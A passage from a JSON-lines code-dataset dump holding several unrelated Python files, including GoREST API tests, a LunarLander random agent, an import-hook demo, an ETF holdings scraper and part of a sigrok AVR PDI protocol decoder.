+ \"/\" + comment_id\n requests.delete(delete_url, headers=GOREST_HEADERS)\n\n\n@pytest.mark.tc30\ndef test_add_new_comment_id_based(post_id: Optional[str] = None):\n if not post_id:\n response = create_random_resource(\"comment\")\n else:\n response = create_random_resource(\"comment\", post_id)\n logging.info(response.text)\n\n assert response.status_code == 201 # created assert page_response.status_code == 200 or check.equal(response.status_code, 201)\n comment_id = str(find_element_in_json(\"id\", response.text))\n delete_url = URL + \"/\" + comment_id\n response = requests.get(delete_url, headers=GOREST_HEADERS)\n assert response.status_code == 200 #assert page_response.status_code == 200 or check.equal(response.status_code, 200)\n return comment_id\n\n\ndef test_add_new_user_id_based():\n response = create_random_resource(\"user\")\n logging.info(response.text)\n\n check.equal(response.status_code, 201) # created\n user_id = str(find_element_in_json(\"id\", response.text))\n delete_url = BASE_URL + 'users' + \"/\" + user_id\n response = requests.get(delete_url, headers=GOREST_HEADERS)\n check.equal(response.status_code, 200)\n return user_id\n\n\ndef test_add_new_post_id_based(user_id: Optional[str] = None):\n if not user_id:\n response = create_random_resource(\"post\")\n else:\n response = create_random_resource(\"post\", user_id)\n logging.info(response.text)\n\n check.equal(response.status_code, 201) # created\n comment_id = str(find_element_in_json(\"id\", response.text))\n delete_url = BASE_URL + 'posts' + \"/\" + comment_id\n response = requests.get(delete_url, headers=GOREST_HEADERS)\n check.equal(response.status_code, 200)\n return comment_id\n\n\n@pytest.mark.tc49\ndef test_update_existing_user(user_id: Optional[str] = None):\n test_body = \"Should pass.\"\n test_email = generate_random_email()\n if not user_id:\n resource_response = create_random_resource('user')\n resource_id = str(find_element_in_json(\"id\", resource_response.text))\n else:\n resource_id = user_id\n\n keys = [\"id\", \"name\", \"email\"]\n values = [resource_id, test_body, test_email]\n data_dict = dict(zip(keys, values))\n\n url = BASE_URL + 'users' + \"/\" + resource_id\n payload = json.dumps(data_dict)\n response = requests.patch(url, headers=GOREST_HEADERS, data=payload)\n logging.info(f'Updating user(PATCH) for testing. Status code is{response.status_code}')\n check.equal(response.status_code, 200) # created\n check.is_in(test_body, response.text)\n response = requests.get(url, headers=GOREST_HEADERS)\n check.is_in(test_body, response.text)\n\n\ndef test_update_existing_post(post_id: Optional[str] = None):\n test_body = \"Should pass.\"\n if not post_id:\n resource_response = create_random_resource('post')\n resource_id = str(find_element_in_json(\"id\", resource_response.text))\n logging.info(resource_id)\n else:\n resource_id = post_id\n\n keys = [\"id\", \"body\"]\n values = [resource_id, test_body]\n data_dict = dict(zip(keys, values))\n\n url = BASE_URL + 'posts' + \"/\" + resource_id\n payload = json.dumps(data_dict)\n response = requests.patch(url, headers=GOREST_HEADERS, data=payload)\n logging.info(f'Updating post(PATCH) for testing. Status code is{response.status_code}')\n check.equal(response.status_code, 200) # created\n check.is_in(test_body, response.text)\n response = requests.get(url, headers=GOREST_HEADERS)\n check.is_in(test_body, response.text)\n\n\n@pytest.mark.tc31\ndef test_update_existing_comment(comment_id: Optional[str] = None):\n test_body = \"Should pass.\"\n if not comment_id:\n resource_response = create_random_resource('comment')\n resource_id = str(find_element_in_json(\"id\", resource_response.text))\n else:\n resource_id = comment_id\n\n keys = [\"id\", \"body\"]\n values = [resource_id, test_body]\n data_dict = dict(zip(keys, values))\n\n url = URL + \"/\" + resource_id\n payload = json.dumps(data_dict)\n response = requests.patch(url, headers=GOREST_HEADERS, data=payload)\n logging.info(f'Updating comment(PATCH) for testing. Status code is{response.status_code}')\n check.equal(response.status_code, 200) # created\n check.is_in(test_body, response.text)\n response = requests.get(url, headers=GOREST_HEADERS)\n check.is_in(test_body, response.text)\n\n\n@pytest.mark.tc34\ndef test_get_first_page_comments_without_authentication():\n page_url = URL + \"?page=1\"\n page_response = requests.get(page_url, headers=ANONYMOUS_HEADERS)\n assert page_response.status_code == 200 # everything as expected\n\n@pytest.mark.parametrize(\"expected_headers, expected_code\",\n [(GOREST_HEADERS, 204),\n (ANONYMOUS_HEADERS, 404)])\n@pytest.mark.tc35\ndef test_delete_user_comment(create_comment, expected_headers, expected_code):\n comment_id = create_comment\n delete_url = URL + \"/\" + comment_id\n response = requests.delete(delete_url, headers=expected_headers)\n assert response.status_code == expected_code # no content or couldn't delete depending on authentication","repo_name":"Kjeni/testyGL","sub_path":"complex/test_comments.py","file_name":"test_comments.py","file_ext":"py","file_size_in_byte":7006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"27512906228","text":"import gymnasium as gym\nimport numpy as np\n\nenv = gym.make(\"LunarLander-v2\")\n\nEPISODE = 10\n\nfor i in range(EPISODE):\n state,_ = env.reset()\n done = False\n total_reward = 0\n env.render()\n while not done:\n action = env.action_space.sample()\n state_, reward, done, truncated, info = env.step(action)\n total_reward += reward\n\n print(\"{}, total reward {}\".format(i, total_reward))\n","repo_name":"GrGLeo/rl_boilerplate","sub_path":"reinforce/random_agent.py","file_name":"random_agent.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16308604224","text":"import sys, types\n\nclass MyImplorter(object):\n def find_module(self, module, path=None):\n return self\n \n def load_module(self, name):\n mod = types.ModuleType(name)\n mod.__loader__ = self\n mod.__file__ = '/foo/bar/baz'\n mod.__package__ = name\n mod.__path__ = name.replace('.','/') + '/'\n sys.modules[name] = mod\n exec('print(\"Meow\")\\n',mod.__dict__)\n return mod\n","repo_name":"rkbennett/ImportHookDemo","sub_path":"simplehook.py","file_name":"simplehook.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4513946752","text":"import tkinter as tk\r\nfrom tkinter import *\r\nfrom PIL import Image, ImageTk\r\nimport webcam\r\n\r\nroot = tk.Tk() \r\n\r\ncanvas = tk.Canvas(root, width=300, height=200)\r\ncanvas.grid(columnspan=3, rowspan=6)\r\n# logo\r\nlogo = Image.open(\"logo.jpeg\")\r\nlogo = ImageTk.PhotoImage(logo)\r\nlogo_label = tk.Label(image=logo)\r\nlogo_label.image = logo\r\nlogo_label.grid(column=1, row=0)\r\n\r\n\r\ninstructions = tk.Label(root, text=\"\\nCapture button below\\n\", font=\"Raleway\", fg='blue')\r\ninstructions.grid(columnspan=3, column=0, row=1)\r\n\r\n\r\nbrowse_text = tk.StringVar()\r\nclick_button = Image.open(\"newbutton.png\")\r\nroot.click_buttton = ImageTk.PhotoImage(click_button)\r\n\r\ndef on_enter(event):\r\n button.config(image=root.click_buttton)\r\n\r\n\r\nbutton = tk.Button(root, image=root.click_buttton, bg='white', bd=0, command=lambda: webcam)\r\n\r\ncanvas.create_window(10, 6, window=button)\r\nbutton.grid(column=1, row=2)\r\ncanvas = tk.Canvas(root, width=200, height=50)\r\ncanvas.grid(columnspan=3)\r\n\r\nroot.mainloop() \r\n\r\n","repo_name":"Pranav-guptaa/Gesture-Detection-System","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29291620226","text":"# LIBRARIES\nfrom math import sin, cos, sqrt, atan2, radians\nfrom random import uniform\nimport json\nfrom sys import stderr, exit\nfrom datetime import datetime\nimport os\n# FILES\nimport settings\n\n########## ASSUMPTIONS ##########\n# 1. Vehicle range is 180 km\n# 2. The battery discharges uniformly\n# 3. Battery SOC after charge and arrival to customer's pick-up location is at 90% level\n# 4. The threshold of the battery below which the vehicle needs recharging is 20%\n\n\nclass Vehicle:\n\tdef __init__(self, timeStampList, locationList, vehicleKey):\n\t\tself.vehicleKey = vehicleKey\n\t\tself.timeStampList = self.parse_timeStamp_list(timeStampList)\n\t\tself.locationList = self.parse_location_list(locationList)\n\n\tdef parse_timeStamp_list(self, timeStampList):\n\t\tallTimeStamps = list()\n\t\tfor time_date_stamp in timeStampList:\n\t\t\ttime_stamp = datetime.strptime(time_date_stamp.replace('T', ' '), '%Y-%m-%d %H:%M:%S')\n\t\t\tallTimeStamps.append(time_stamp)\n\t\treturn allTimeStamps\n\n\tdef parse_location_list(self, locationList):\n\t\tvisited_points = list()\n\t\tfor location in locationList:\n\t\t\tvisited_points.append((location[\"Latitude\"], location[\"Longitude\"]))\n\t\treturn visited_points\n\n\n\ndef distance_in_km(latitude1, longitude1, latitude2, longitude2):\n\t# approximate radius of earth in km\n\tR = 6373.0\n\n\tlat1 = radians(latitude1)\n\tlon1 = radians(longitude1)\n\tlat2 = radians(latitude2)\n\tlon2 = radians(longitude2)\n\n\tdlon = lon2 - lon1\n\tdlat = lat2 - lat1\n\n\ta = sin(dlat / 2)**2 + cos(lat1) * cos(lat2) * sin(dlon / 2)**2\n\tc = 2 * atan2(sqrt(a), sqrt(1 - a))\n\n\tdistance = R * c\n\treturn distance\n\n\n\ndef read_json_file(filename):\n\twith open(filename) as json_file:\n\t\tjson_dict = json.load(json_file)\n\treturn json_dict\n\n\ndef save_dict(dict_to_be_saved, file_location):\n\tjson_file = json.dumps(dict_to_be_saved)\n\tfp = open(file_location, 'w')\n\tfp.write(json_file)\n\tfp.close()\n\n\n\ndef lists_lengths_are_equal(vehicle):\n\treturn len(vehicle.locationList) == len(vehicle.timeStampList)\n\n\ndef find_charging_points_and_total_distances_per_vehicle(vehicles):\n\t# charging_spots_per_hour_dict = {key:list() for key in range(24)}\n\tcharging_spots_list = list()\n\tvehicle_range_km = 180\n\tthreshold_to_charge = 0.2\n\tdistance_travelled_per_vehicle_dict = dict()\n\tfor vehicle in vehicles:\n\t\ttotal_distance_travelled = 0\n\t\tbattery_soc = uniform(0.25, 1)\n\t\tdistance_travelled = 0\n\t\tfor i in range(len(vehicle.locationList) - 1):\n\t\t\tcurrent_range = (battery_soc - threshold_to_charge) * vehicle_range_km\n\t\t\ttrip_distance = distance_in_km(vehicle.locationList[i][0], vehicle.locationList[i][1],\n\t\t\t\t\t\t\t\t\t\t vehicle.locationList[i + 1][0], vehicle.locationList[i + 1][1])\n\t\t\ttotal_distance_travelled += trip_distance\n\t\t\tif distance_travelled + trip_distance > current_range:\n\t\t\t\tcharging_spots_list.append((vehicle.vehicleKey, vehicle.locationList[i]))\n\t\t\t\t# charging_spots_per_hour_dict[vehicle.timeStampList[i].hour].append((vehicle.vehicleKey, vehicle.locationList[i]))\n\t\t\t\tdistance_travelled = 0\n\t\t\t\tbattery_soc = 0.9\n\t\t\telse:\n\t\t\t\tdistance_travelled += trip_distance\n\t\t\t\tcurrent_range -= trip_distance\n\t\t\t\tbattery_soc -= trip_distance / vehicle_range_km\n\t\tdistance_travelled_per_vehicle_dict[vehicle.vehicleKey] = total_distance_travelled\n\t# return charging_spots_per_hour_dict, distance_travelled_per_vehicle_dict\n\treturn charging_spots_list, distance_travelled_per_vehicle_dict\n\ndef get_average_distance_travelled_per_vehicle(distance_travelled_per_vehicle_dict):\n\ttotal_distances = 0\n\tfleet_size = 0\n\tfor _, distance_travelled in distance_travelled_per_vehicle_dict.items():\n\t\ttotal_distances += distance_travelled\n\t\tfleet_size += 1\n\treturn total_distances / float(fleet_size)\n\n\ndef get_number_of_vehicles_to_charge_per_day(charging_spots_per_hour_dict):\n\tnumber_of_vehicles = 0\n\tfor _, list_of_vehicles in charging_spots_per_hour_dict.items():\n\t\tnumber_of_vehicles += len(list_of_vehicles)\n\treturn number_of_vehicles\n\n\ndef save_statistics(dict_to_be_saved):\n\tfilename = settings.statistics\n\tjson_file = json.dumps(dict_to_be_saved)\n\tf = open(filename, 'w')\n\tf.write(json_file)\n\tf.close()\n\n\ndef load_statistics():\n\tfilename = settings.statistics\n\twith open(filename, 'r') as json_file:\n\t\tjson_dict = json.load(json_file)\n\treturn json_dict\n\n\ndef get_vehicle_statistics(statistics_filename, n_vehicles, charging_spots_per_hour_dict, distance_travelled_per_vehicle_dict):\n\tfleet_statistics_dict = dict()\n\taverage_distance_per_vehicle = get_average_distance_travelled_per_vehicle(distance_travelled_per_vehicle_dict)\n\tnumber_of_vehicles_to_charge_per_day = get_number_of_vehicles_to_charge_per_day(charging_spots_per_hour_dict)\n\tfleet_statistics_dict['average_distance_per_vehicle_km'] = average_distance_per_vehicle\n\tfleet_statistics_dict['number_of_times_vehicles_need_recharging_per_day'] = number_of_vehicles_to_charge_per_day\n\tif os.path.exists(statistics_filename):\n\t\tstatistics_dict = load_statistics()\n\telse:\n\t\tstatistics_dict = dict()\n\tstatistics_dict[n_vehicles] = fleet_statistics_dict\n\tsave_statistics(statistics_dict)\n\n\ndef export_charging_coordinates_per_hour_dict_and_statistics():\n\tallVehiclesKPIs = read_json_file(settings.delos_vehicle_kpis)\n\tvehicles = list()\n\tfor vehicle_kpis in allVehiclesKPIs:\n\t\tif allVehiclesKPIs[vehicle_kpis]['VehicleTimeKpIs']['TimeTravellingToClients'] != 0.0:\n\t\t\tvehicle = Vehicle([], allVehiclesKPIs[vehicle_kpis]['VehicleStops'], vehicle_kpis)\n\t\t\tvehicles.append(vehicle)\n\tcharging_spots_dict, distance_travelled_per_vehicle_dict = find_charging_points_and_total_distances_per_vehicle(vehicles)\n\tsave_dict(charging_spots_dict, settings.recharging_coordinates_list)\n\n\n\n\ndef slice_paths():\n\t# input_filename = os.path.abspath('D:\\Github\\delos3\\outputs\\VehicleKPIs_' + str(settings.fleet_size) + 'vehicles.json')\n\t# input_filename = os.path.abspath('D:\\Github\\delos3\\outputs\\Chicago\\\\' + settings.date_of_trips + '\\VehiclePaths.json')\n\t# statistics_filename = 'D:\\\\Github\\\\EV-chargers\\\\FLPv2\\\\data\\\\chicago_vehicle_locations\\\\statistics.json'\n\t# output_filename = os.path.abspath('D:\\\\Github\\\\EV-chargers\\\\FLPv2\\\\data\\\\recharging_coordinates\\\\' + 'recharging_coordinates_per_hour_' + settings.date_of_trips + '_' + str(settings.fleet_size) + '.json')\n\texport_charging_coordinates_per_hour_dict_and_statistics()\n","repo_name":"lefteran/EV-chargers","sub_path":"FLPv2/network/slice_paths_from_delos.py","file_name":"slice_paths_from_delos.py","file_ext":"py","file_size_in_byte":6213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"450295731","text":"import pickle\nimport pymysql\nimport wave\nimport pyaudio\nimport matplotlib.pyplot as plt\nimport sys\nfrom threading import *\nCHUNK = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 44100\nRECORD_SECONDS = 5\n\nclass recorder(Thread):\n def init(self,filename):\n self.filename = filename\n self.p = pyaudio.PyAudio()\n\n self.stream = self.p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\n\n self.frames = []\n self.ifdo = True\n self.isPlay = False\n def run (self):\n # called by recorder-oject.start()\n # print(\"starts recording ---\")\n self.isPlay = True\n while self.isPlay:\n data = self.stream.read(CHUNK)\n self.frames.append(data)\n\n # self.isPlay becomes false:\n self.stream.stop_stream()\n self.stream.close()\n self.p.terminate()\n\n wf = wave.open(self.filename, 'wb')\n wf.setnchannels(CHANNELS)\n wf.setsampwidth(self.p.get_sample_size(FORMAT))\n wf.setframerate(RATE)\n wf.writeframes(b''.join(self.frames))\n wf.close()\n self.isPlay = False\n # print(\"end recording. \")\n\n def stop (self):\n self.isPlay=False\n self.ifdo = False\n # print(\"--- recording stops. \")\n\n def getFileName (self):\n return self.filename\n\n # for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n # data = stream.read(CHUNK)\n # frames.append(data)\n","repo_name":"ksaralle/Memorology","sub_path":"recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15887635361","text":"import urllib.request, logging, json, time\nfrom lxml import html\nfrom utils import HEADERS\n\nlog = logging.getLogger(f\"etf4u.{__name__}\")\n\n# The etfdb adapter is a fallback adapter used when no specific adapter exists for a fund\n# It navigates to the etf fund's page on etfdb.com then queries a public api endpoint\n# which returns the list of holdings. The endpoint is limited to 15 results for user\n# which are not registered to their premium membership plan\n\nFUNDS = []\n\n\ndef fetch(fund):\n result = {}\n fund_csv_url = f\"https://etfdb.com/etf/{fund.upper()}/\"\n req = urllib.request.Request(fund_csv_url, headers=HEADERS)\n res = urllib.request.urlopen(req, timeout=60)\n tree = html.parse(res)\n table = tree.xpath(\"//table[@data-hash='etf-holdings']\")[0]\n\n # the api returns 15 results, but we can iterate different sorting\n # criterias in the request to maximize the number of different holdings\n for query in [\n \"&sort=weight&order=asc\",\n \"&sort=weight&order=desc\",\n \"&sort=symbol&order=asc\",\n \"&sort=symbol&order=desc\",\n ]:\n log.debug(f\"fetching query {query}\")\n holdings_url = f\"https://etfdb.com/{table.get('data-url')}{query}\"\n holdings_req = urllib.request.Request(holdings_url, headers=HEADERS)\n holdings_res = urllib.request.urlopen(holdings_req)\n holdings = json.loads(holdings_res.read().decode(\"utf-8\"))\n for row in holdings[\"rows\"]:\n symbol = html.fromstring(row[\"symbol\"]).text_content()\n weight = float(row[\"weight\"].strip(\"%\"))\n if symbol != \"N/A\":\n result[symbol] = weight\n time.sleep(0.5)\n\n return result\n","repo_name":"leoncvlt/etf4u","sub_path":"etf4u/adapters/etfdb.py","file_name":"etfdb.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"22"} +{"seq_id":"9329485393","text":"from tank import Tank\nimport random\n\nclass Computer(Tank):\n def __init__(self, name):\n super().__init__(name)\n \n def fire(self):\n angle = random.randrange(5,50,5)\n velocity = random.randrange(5,50,5)\n super().setAngle(angle)\n super().setVelocity(velocity)\n print(f'Computer fires with an angle of {angle} and velocity of {velocity}.')\n return super().calcDistance()\n \n\n\n","repo_name":"nhpolito/Learning-how-to-use-github-and-git","sub_path":"Cs 223/artillery/computer.py","file_name":"computer.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4763890875","text":"import sigrokdecode as srd\nfrom collections import namedtuple\n\nclass Ann:\n '''Annotation and binary output classes.'''\n (\n BIT, START, DATA, PARITY_OK, PARITY_ERR,\n STOP_OK, STOP_ERR, BREAK,\n OPCODE, DATA_PROG, DATA_DEV, PDI_BREAK,\n ENABLE, DISABLE, COMMAND,\n ) = range(15)\n (\n BIN_BYTES,\n ) = range(1)\n\nBit = namedtuple('Bit', 'val ss es')\n\nclass PDI:\n '''PDI protocol instruction opcodes, and operand formats.'''\n (\n OP_LDS, OP_LD, OP_STS, OP_ST,\n OP_LDCS, OP_REPEAT, OP_STCS, OP_KEY,\n ) = range(8)\n pointer_format_nice = [\n '*(ptr)',\n '*(ptr++)',\n 'ptr',\n 'ptr++ (rsv)',\n ]\n pointer_format_terse = [\n '*p',\n '*p++',\n 'p',\n '(rsv)',\n ]\n ctrl_reg_name = {\n 0: 'status',\n 1: 'reset',\n 2: 'ctrl',\n }\n\nclass Decoder(srd.Decoder):\n api_version = 3\n id = 'avr_pdi'\n name = 'AVR PDI'\n longname = 'Atmel Program and Debug Interface'\n desc = 'Atmel ATxmega Program and Debug Interface (PDI) protocol.'\n license = 'gplv2+'\n inputs = ['logic']\n outputs = []\n tags = ['Debug/trace']\n channels = (\n {'id': 'reset', 'name': 'RESET', 'desc': 'RESET / PDI_CLK', 'idn':'dec_avr_pdi_chan_reset'},\n {'id': 'data', 'name': 'DATA', 'desc': 'PDI_DATA', 'idn':'dec_avr_pdi_chan_data'},\n )\n annotations = (\n ('uart-bit', 'UART bit'),\n ('start-bit', 'Start bit'),\n ('data-bit', 'Data bit'),\n ('parity-ok', 'Parity OK bit'),\n ('parity-err', 'Parity error bit'),\n ('stop-ok', 'Stop OK bit'),\n ('stop-err', 'Stop error bit'),\n ('break', 'BREAK condition'),\n ('opcode', 'Instruction opcode'),\n ('data-prog', 'Programmer data'),\n ('data-dev', 'Device data'),\n ('pdi-break', 'BREAK at PDI level'),\n ('enable', 'Enable PDI'),\n ('disable', 'Disable PDI'),\n ('cmd-data', 'PDI command with data'),\n )\n annotation_rows = (\n ('uart_bits', 'UART bits', (Ann.BIT,)),\n ('uart_fields', 'UART fields', (Ann.START, Ann.DATA, Ann.PARITY_OK,\n Ann.PARITY_ERR, Ann.STOP_OK, Ann.STOP_ERR, Ann.BREAK)),\n ('pdi_fields', 'PDI fields', (Ann.OPCODE, Ann.DATA_PROG, Ann.DATA_DEV,\n Ann.PDI_BREAK)),\n ('pdi_cmds', 'PDI Cmds', (Ann.ENABLE, Ann.DISABLE, Ann.COMMAND)),\n )\n binary = (\n ('bytes', 'PDI protocol bytes'),\n )\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.samplerate = None\n self.clear_state()\n\n def clear_state(self):\n # Track bit times and bit values.\n self.ss_last_fall = None\n self.data_sample = None\n self.ss_curr_fall = None\n # Collect UART frame bits into byte values.\n self.bits = []\n self.zero_count = 0\n self.zero_ss = None\n self.break_ss = None\n self.break_es = None\n self.clear_insn()\n\n def clear_insn(self):\n # Collect instructions and their arguments,\n # properties of the current instructions.\n self.insn_rep_count = 0\n self.insn_opcode = None\n self.insn_wr_counts = []\n self.insn_rd_counts = []\n # Accumulation of data items as bytes pass by.\n self.insn_dat_bytes = []\n self.insn_dat_count = 0\n self.insn_ss_data = None\n # Next layer \"commands\", instructions plus operands.\n self.cmd_ss = None\n self.cmd_insn_parts_nice = []\n self.cmd_insn_parts_terse = []\n\n def metadata(self, key, value):\n if key == srd.SRD_CONF_SAMPLERATE:\n self.samplerate = value\n\n def start(self):\n self.out_ann = self.register(srd.OUTPUT_ANN)\n self.out_binary = self.register(srd.OUTPUT_BINARY)\n\n def put_ann_bit(self, bit_nr, ann_idx):\n b = self.bits[bit_nr]\n self.put(b.ss, b.es, self.out_ann, [ann_idx, [str(b.val)]])\n\n def put_ann_data(self, bit_nr, ann_data):\n b = self.bits[bit_nr]\n self.put(b.ss, b.es, self.out_ann, ann_data)\n\n def put_ann_row_val(self, ss, es, row, value):\n self.put(ss, es, self.out_ann, [row, value])\n\n def put_bin_bytes(self, ss, es, row, value):\n self.put(ss, es, self.out_binary, [row, value])\n\n def handle_byte(self, ss, es, byteval):\n '''Handle a byte at the PDI protocol layer.'''\n\n # Handle BREAK conditions, which will abort any\n # potentially currently executing instruction.\n is_break = byteval is None\n if is_break:\n self.cmd_insn_parts_nice.append('BREAK')\n self.cmd_insn_parts_terse.append('BRK')\n self.insn_rep_count = 0\n # Will FALLTHROUGH to \"end of instruction\" below.\n\n # Decode instruction opcodes and argument sizes\n # from the first byte of a transaction.\n if self.insn_opcode is None and not is_break:\n opcode = (byteval & 0xe0) >> 5\n arg30 = byteval & 0x0f\n arg32 = (byteval & 0x0c) >> 2\n arg10 = byteval & 0x03\n self.insn_opcode = opcode\n self.cmd_ss = ss\n mnemonics = None\n if opcode == PDI.OP_LDS:\n # LDS: load data, direct addressing.\n # Writes an address, reads a data item.\n width_addr = arg32 + 1\n width_data = arg10 + 1\n self.insn_wr_counts = [width_addr]\n self.insn_rd_counts = [width_data]\n mnemonics = [\n 'Insn: LDS a{:d}, m{:d}'.format(width_addr, width_data),\n 'LDS a{:d}, m{:d}'.format(width_addr, width_data), 'LDS',\n ]\n self.cmd_insn_parts_nice = ['LDS']\n self.cmd_insn_parts_terse = ['LDS']\n elif opcode == PDI.OP_LD:\n # LD: load data, indirect addressing.\n # Reads a data item, with optional repeat.\n ptr_txt = PDI.pointer_format_nice[arg32]\n ptr_txt_terse = PDI.pointer_format_terse[arg32]\n width_data = arg10 + 1\n self.insn_wr_counts = []\n self.insn_rd_counts = [width_data]\n if self.insn_rep_count:\n self.insn_rd_counts.extend(self.insn_rep_count * [width_data])\n self.insn_rep_count = 0\n mnemonics = [\n 'Insn: LD {:s} m{:d}'.format(ptr_txt, width_data),\n 'LD {:s} m{:d}'.format(ptr_txt, width_data), 'LD',\n ]\n self.cmd_insn_parts_nice = ['LD', ptr_txt]\n self.cmd_insn_parts_terse = ['LD', ptr_txt_terse]\n elif opcode == PDI.OP_STS:\n # STS: store data, direct addressing.\n # Writes an address, writes a data item.\n width_addr = arg32 + 1\n width_data = arg10 + 1\n self.insn_wr_counts = [width_addr, width_data]\n self.insn_rd_counts = []\n mnemonics = [\n 'Insn: STS a{:d}, i{:d}'.format(width_addr, width_data),\n 'STS a{:d}, i{:d}'.format(width_addr, width_data), 'STS',\n ]\n self.cmd_insn_parts_nice = ['STS']\n self.cmd_insn_parts_terse = ['STS']\n elif opcode == PDI.OP_ST:\n # ST: store data, indirect addressing.\n # Writes a data item, with optional repeat.\n ptr_txt = PDI.pointer_format_nice[arg32]\n ptr_txt_terse = PDI.pointer_format_terse[arg32]\n width_data = arg10 + 1\n self.insn_wr_counts = [width_data]\n self.insn_rd_counts = []\n if self.insn_rep_count:\n self.insn_wr_counts.extend(self.insn_rep_count * [width_data])\n self.insn_rep_count = 0\n mnemonics = [\n 'Insn: ST {:s} i{:d}'.format(ptr_txt, width_data),\n 'ST {:s} i{:d}'.format(ptr_txt, width_data), 'ST',\n ]\n self.cmd_insn_parts_nice = ['ST', ptr_txt]\n self.cmd_insn_parts_terse = ['ST', ptr_txt_terse]\n elif opcode == PDI.OP_LDCS:\n # LDCS: load control/status.\n # Loads exactly one byte.\n reg_num = arg30\n reg_txt = PDI.ctrl_reg_name.get(reg_num, 'r{:d}'.format(reg_num))\n reg_txt_terse = '{:d}'.format(reg_num)\n self.insn_wr_counts = []\n self.insn_rd_counts = [1]\n mnemonics = [\n 'Insn: LDCS {:s}, m1'.format(reg_txt),\n 'LDCS {:s}, m1'.format(reg_txt), 'LDCS',\n ]\n self.cmd_insn_parts_nice = ['LDCS', reg_txt]\n self.cmd_insn_parts_terse = ['LDCS', reg_txt_terse]\n elif opcode == PDI.OP_STCS:\n # STCS: store control/status.\n # Writes exactly one byte.\n reg_num = arg30\n reg_txt = PDI.ctrl_reg_name.get(reg_num, 'r{:d}'.format(reg_num))\n reg_txt_terse = '{:d}'.format(reg_num)\n self.insn_wr_counts = [1]\n self.insn_rd_counts = []\n mnemonics = [\n 'Insn: STCS {:s}, i1'.format(reg_txt),\n 'STCS {:s}, i1'.format(reg_txt), 'STCS',\n ]\n self.cmd_insn_parts_nice = ['STCS', reg_txt]\n self.cmd_insn_parts_terse = ['STCS', reg_txt_terse]\n elif opcode == PDI.OP_REPEAT:\n # REPEAT: sets repeat count for the next instruction.\n # Reads repeat count from following bytes.\n width_data = arg10 + 1\n self.insn_wr_counts = [width_data]\n self.insn_rd_counts = []\n mnemonics = [\n 'Insn: REPEAT i{:d}'.format(width_data),\n 'REPEAT i{:d}'.format(width_data), 'REP',\n ]\n self.cmd_insn_parts_nice = ['REPEAT']\n self.cmd_insn_parts_terse = ['REP']\n elif opcode == PDI.OP_KEY:\n # KEY: set activation key (enables PDIBUS mmap access).\n # Writes a sequence of 8 bytes, fixed length.\n width_data = 8\n self.insn_wr_counts = [width_data]\n self.insn_rd_counts = []\n mnemonics = [\n 'Insn: KEY i{:d}'.format(width_data),\n 'KEY i{:d}'.format(width_data), 'KEY',\n ]\n self.cmd_insn_parts_nice = ['KEY']\n self.cmd_insn_parts_terse = ['KEY']\n\n # Emit an annotation for the instruction opcode.\n self.put_ann_row_val(ss, es, Ann.OPCODE, mnemonics)\n\n # Prepare to write/read operands/data bytes.\n self.insn_dat_bytes = []\n if self.insn_wr_counts:\n self.insn_dat_count = self.insn_wr_counts[0]\n return\n if self.insn_rd_counts:\n self.insn_dat_count = self.insn_rd_counts[0]\n return\n # FALLTHROUGH.\n # When there are no operands or data bytes to read,\n # then fall through to the end of the instruction\n # handling below (which emits annotations).\n\n # Read bytes which carry operands (addresses, immediates)\n # or data values for memory access.\n if self.insn_dat_count and not is_break:\n\n # Accumulate received bytes until another multi byte\n # data item is complete.\n if not self.insn_dat_bytes:\n self.insn_ss_data = ss\n self.insn_dat_bytes.append(byteval)\n self.insn_dat_count -= 1\n if self.insn_dat_count:\n return\n\n # Determine the data item's duration and direction,\n # \"consume\" its length spec (to simplify later steps).\n data_ss = self.insn_ss_data\n data_es = es\n if self.insn_wr_counts:\n data_ann = Ann.DATA_PROG\n data_width = self.insn_wr_counts.pop(0)\n elif self.insn_rd_counts:\n data_ann = Ann.DATA_DEV\n data_width = self.insn_rd_counts.pop(0)\n\n # PDI communicates multi-byte data items in little endian\n # order. Get a nice textual representation of the number,\n # wide and narrow for several zoom levels.\n self.insn_dat_bytes.reverse()\n data_txt_digits = ''.join(['{:02x}'.format(b) for b in self.insn_dat_bytes])\n data_txt_hex = '0x' + data_txt_digits\n data_txt_prefix = 'Data: ' + data_txt_hex\n data_txts = [data_txt_prefix, data_txt_hex, data_txt_digits]\n self.insn_dat_bytes = []\n\n # Emit an annotation for the data value.\n self.put_ann_row_val(data_ss, data_es, data_ann, data_txts)\n\n # Collect detailled information which describes the whole\n # command when combined (for a next layer annotation,\n # spanning the complete command).\n self.cmd_insn_parts_nice.append(data_txt_hex)\n self.cmd_insn_parts_terse.append(data_txt_digits)\n\n # Send out write data first until exhausted,\n # then drain expected read data.\n if self.insn_wr_counts:\n self.insn_dat_count = self.insn_wr_counts[0]\n return\n if self.insn_rd_counts:\n self.insn_dat_count = self.insn_rd_counts[0]\n return\n\n # FALLTHROUGH.\n # When all operands and data bytes were seen,\n # terminate the inspection of the instruction.\n\n # Postprocess the instruction after its operands were seen.\n cmd_es = es\n cmd_txt_nice = ' '.join(self.cmd_insn_parts_nice)\n cmd_txt_terse = ' '.join(self.cmd_insn_parts_terse)\n cmd_txts = [cmd_txt_nice, cmd_txt_terse]\n 